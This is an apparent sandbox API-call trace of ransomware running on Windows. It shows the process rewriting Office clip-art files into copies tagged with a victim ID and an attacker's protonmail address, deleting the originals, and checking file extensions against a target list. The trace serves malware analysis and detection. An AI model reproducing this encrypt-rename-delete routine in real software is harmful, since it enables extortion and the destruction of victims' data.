	[0190.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0190.070] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3444) returned 1
	[0190.070] CloseHandle (hObject=0x5e4) returned 1
	[0190.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220
	[0190.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0190.071] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.071] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0190.072] GetLastError () returned 0x0
	[0190.072] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xd74, lpOverlapped=0x0) returned 1
	[0190.073] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xd80, lpOverlapped=0x0) returned 1
	[0190.075] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.075] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.075] SetEndOfFile (hFile=0x574) returned 1
	[0190.075] CloseHandle (hObject=0x574) returned 1
	[0190.075] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.075] SetEndOfFile (hFile=0x5e4) returned 1
	[0190.078] CloseHandle (hObject=0x5e4) returned 1
	[0190.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1
	[0190.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.080] lstrlenW (lpString=".doc") returned 4
	[0190.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.080] lstrlenW (lpString=".docx") returned 5
	[0190.080] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0190.080] lstrlenW (lpString=".pdf") returned 4
	[0190.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.080] lstrlenW (lpString=".xls") returned 4
	[0190.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.080] lstrlenW (lpString=".xlsx") returned 5
	[0190.080] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0190.080] lstrlenW (lpString=".ppt") returned 4
	[0190.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.080] lstrlenW (lpString=".zip") returned 4
	[0190.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.080] lstrlenW (lpString=".rar") returned 4
	[0190.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.080] lstrlenW (lpString=".bz2") returned 4
	[0190.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.080] lstrlenW (lpString=".7z") returned 3
	[0190.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.080] lstrlenW (lpString=".dbf") returned 4
	[0190.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.080] lstrlenW (lpString=".1cd") returned 4
	[0190.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.080] lstrlenW (lpString=".jpg") returned 4
	[0190.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.081] lstrlenW (lpString=".doc") returned 4
	[0190.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.081] lstrlenW (lpString=".docx") returned 5
	[0190.081] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0190.081] lstrlenW (lpString=".pdf") returned 4
	[0190.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.081] lstrlenW (lpString=".xls") returned 4
	[0190.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.081] lstrlenW (lpString=".xlsx") returned 5
	[0190.081] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0190.081] lstrlenW (lpString=".ppt") returned 4
	[0190.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.081] lstrlenW (lpString=".zip") returned 4
	[0190.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.081] lstrlenW (lpString=".rar") returned 4
	[0190.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.081] lstrlenW (lpString=".bz2") returned 4
	[0190.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.081] lstrlenW (lpString=".7z") returned 3
	[0190.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.081] lstrlenW (lpString=".dbf") returned 4
	[0190.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.081] lstrlenW (lpString=".1cd") returned 4
	[0190.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0190.082] lstrlenW (lpString=".jpg") returned 4
	[0190.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.082] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.082] lstrlenW (lpString="J0105238.WMF") returned 12
	[0190.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0190.082] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=17172) returned 1
	[0190.083] CloseHandle (hObject=0x5e4) returned 1
	[0190.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220
	[0190.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0190.084] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.084] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0190.084] GetLastError () returned 0x0
	[0190.084] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4314, lpOverlapped=0x0) returned 1
	[0190.087] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4320, lpOverlapped=0x0) returned 1
	[0190.088] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.088] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.088] SetEndOfFile (hFile=0x574) returned 1
	[0190.089] CloseHandle (hObject=0x574) returned 1
	[0190.089] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.089] SetEndOfFile (hFile=0x5e4) returned 1
	[0190.092] CloseHandle (hObject=0x5e4) returned 1
	[0190.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1
	[0190.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.093] lstrlenW (lpString=".doc") returned 4
	[0190.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.093] lstrlenW (lpString=".docx") returned 5
	[0190.093] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.093] lstrlenW (lpString=".pdf") returned 4
	[0190.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.177] lstrlenW (lpString=".xls") returned 4
	[0190.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.177] lstrlenW (lpString=".xlsx") returned 5
	[0190.177] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.177] lstrlenW (lpString=".ppt") returned 4
	[0190.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.192] lstrlenW (lpString=".zip") returned 4
	[0190.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.192] lstrlenW (lpString=".rar") returned 4
	[0190.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.206] lstrlenW (lpString=".bz2") returned 4
	[0190.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.206] lstrlenW (lpString=".7z") returned 3
	[0190.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.206] lstrlenW (lpString=".dbf") returned 4
	[0190.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.216] lstrlenW (lpString=".1cd") returned 4
	[0190.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.216] lstrlenW (lpString=".jpg") returned 4
	[0190.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.216] lstrlenW (lpString=".doc") returned 4
	[0190.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.216] lstrlenW (lpString=".docx") returned 5
	[0190.216] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.216] lstrlenW (lpString=".pdf") returned 4
	[0190.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.216] lstrlenW (lpString=".xls") returned 4
	[0190.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.217] lstrlenW (lpString=".xlsx") returned 5
	[0190.217] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.217] lstrlenW (lpString=".ppt") returned 4
	[0190.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.217] lstrlenW (lpString=".zip") returned 4
	[0190.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.217] lstrlenW (lpString=".rar") returned 4
	[0190.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.217] lstrlenW (lpString=".bz2") returned 4
	[0190.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.217] lstrlenW (lpString=".7z") returned 3
	[0190.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.217] lstrlenW (lpString=".dbf") returned 4
	[0190.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.217] lstrlenW (lpString=".1cd") returned 4
	[0190.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0190.217] lstrlenW (lpString=".jpg") returned 4
	[0190.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.218] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.218] lstrlenW (lpString="J0105246.WMF") returned 12
	[0190.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.219] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19328) returned 1
	[0190.219] CloseHandle (hObject=0x5ac) returned 1
	[0190.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220
	[0190.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.220] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.220] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0190.221] GetLastError () returned 0x0
	[0190.221] ReadFile (in: hFile=0x5ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4b80, lpOverlapped=0x0) returned 1
	[0190.224] WriteFile (in: hFile=0x5e0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4b90, lpOverlapped=0x0) returned 1
	[0190.226] ReadFile (in: hFile=0x5ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.226] WriteFile (in: hFile=0x5e0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.226] SetEndOfFile (hFile=0x5e0) returned 1
	[0190.226] CloseHandle (hObject=0x5e0) returned 1
	[0190.227] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.227] SetEndOfFile (hFile=0x5ac) returned 1
	[0190.231] CloseHandle (hObject=0x5ac) returned 1
	[0190.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1
	[0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.233] lstrlenW (lpString=".doc") returned 4
	[0190.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.233] lstrlenW (lpString=".docx") returned 5
	[0190.233] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.233] lstrlenW (lpString=".pdf") returned 4
	[0190.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.233] lstrlenW (lpString=".xls") returned 4
	[0190.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.233] lstrlenW (lpString=".xlsx") returned 5
	[0190.233] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.233] lstrlenW (lpString=".ppt") returned 4
	[0190.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.233] lstrlenW (lpString=".zip") returned 4
	[0190.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.233] lstrlenW (lpString=".rar") returned 4
	[0190.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.234] lstrlenW (lpString=".bz2") returned 4
	[0190.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.234] lstrlenW (lpString=".7z") returned 3
	[0190.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.234] lstrlenW (lpString=".dbf") returned 4
	[0190.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.234] lstrlenW (lpString=".1cd") returned 4
	[0190.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.234] lstrlenW (lpString=".jpg") returned 4
	[0190.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.234] lstrlenW (lpString=".doc") returned 4
	[0190.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.234] lstrlenW (lpString=".docx") returned 5
	[0190.234] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.234] lstrlenW (lpString=".pdf") returned 4
	[0190.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.234] lstrlenW (lpString=".xls") returned 4
	[0190.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.235] lstrlenW (lpString=".xlsx") returned 5
	[0190.235] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.235] lstrlenW (lpString=".ppt") returned 4
	[0190.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.235] lstrlenW (lpString=".zip") returned 4
	[0190.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.235] lstrlenW (lpString=".rar") returned 4
	[0190.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.235] lstrlenW (lpString=".bz2") returned 4
	[0190.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.235] lstrlenW (lpString=".7z") returned 3
	[0190.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.235] lstrlenW (lpString=".dbf") returned 4
	[0190.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.235] lstrlenW (lpString=".1cd") returned 4
	[0190.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0190.235] lstrlenW (lpString=".jpg") returned 4
	[0190.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.236] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.236] lstrlenW (lpString="J0105250.WMF") returned 12
